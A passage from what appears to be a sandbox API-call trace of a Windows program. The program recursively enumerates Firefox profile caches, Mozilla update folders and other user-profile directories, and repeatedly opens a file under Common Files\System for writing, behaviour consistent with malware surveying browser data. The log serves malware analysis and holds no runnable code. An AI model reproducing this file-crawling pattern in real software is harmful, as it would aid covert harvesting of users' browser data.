Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.938] AreFileApisANSI () returned 1 [0129.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.938] GetFileType (hFile=0x19c) returned 0x1 [0129.938] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.985] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.985] GetLastError () returned 0x12 [0129.985] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.985] GetLastError () returned 0x12 [0129.985] AreFileApisANSI () returned 1 [0129.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.986] GetFileType (hFile=0x198) returned 0x1 [0129.986] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.986] AreFileApisANSI () returned 1 [0129.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.986] GetFileType (hFile=0x19c) returned 0x1 [0129.986] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.987] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.987] GetLastError () returned 0x12 [0129.987] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.987] GetLastError () returned 0x12 [0129.987] AreFileApisANSI () returned 1 [0129.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.987] GetFileType (hFile=0x198) returned 0x1 [0129.987] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0130.033] AreFileApisANSI () returned 1 [0130.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0130.033] GetFileType (hFile=0x19c) returned 0x1 [0130.033] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0130.034] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0130.034] GetLastError () returned 0x12 [0130.034] AreFileApisANSI () returned 1 [0130.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0130.034] GetFileType (hFile=0x19c) returned 0x1 [0130.034] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0130.079] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0130.079] GetLastError () returned 0x12 [0130.079] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0130.079] GetLastError () returned 0x12 [0130.079] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.079] GetLastError () returned 0x12 [0130.079] AreFileApisANSI () returned 1 [0130.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.079] GetFileType (hFile=0x194) returned 0x1 [0130.080] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.125] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.125] GetLastError () returned 0x12 [0130.125] AreFileApisANSI () returned 1 [0130.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.126] GetFileType (hFile=0x194) returned 0x1 [0130.126] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.234] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.234] GetLastError () returned 0x12 [0130.234] AreFileApisANSI () returned 1 [0130.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.235] GetFileType (hFile=0x194) returned 0x1 [0130.235] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.298] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.298] GetLastError () returned 0x12 [0130.298] AreFileApisANSI () returned 1 [0130.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.298] GetFileType (hFile=0x194) returned 0x1 [0130.299] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.406] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.406] GetLastError () returned 0x12 [0130.406] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.407] GetLastError () returned 0x12 [0130.407] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.407] GetLastError () returned 0x12 [0130.407] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0130.407] GetLastError () returned 0x12 [0130.407] AreFileApisANSI () returned 1 [0130.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0130.407] GetFileType (hFile=0x188) returned 0x1 [0130.407] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0130.407] AreFileApisANSI () returned 1 [0130.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.408] GetFileType (hFile=0x18c) returned 0x1 [0130.408] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.408] AreFileApisANSI () returned 1 [0130.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.408] GetFileType (hFile=0x190) returned 0x1 [0130.408] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.409] AreFileApisANSI () returned 1 [0130.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.409] GetFileType (hFile=0x194) returned 0x1 [0130.409] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.409] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.409] GetLastError () returned 0x12 [0130.409] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.410] GetLastError () returned 0x12 [0130.410] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.410] GetLastError () returned 0x12 [0130.410] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0130.410] GetLastError () returned 0x12 [0130.410] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.410] GetLastError () returned 0x12 [0130.410] AreFileApisANSI () returned 1 [0130.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.410] GetFileType (hFile=0x184) returned 0x1 [0130.410] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.410] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.411] GetLastError () returned 0x12 [0130.411] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0130.411] GetLastError () returned 0x12 [0130.411] AreFileApisANSI () returned 1 [0130.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0130.411] GetFileType (hFile=0x180) returned 0x1 [0130.411] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0130.411] AreFileApisANSI () returned 1 [0130.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.411] GetFileType (hFile=0x184) returned 0x1 [0130.411] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x887d70, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.412] AreFileApisANSI () returned 1 [0130.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0130.412] GetFileType (hFile=0x188) returned 0x1 [0130.412] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application 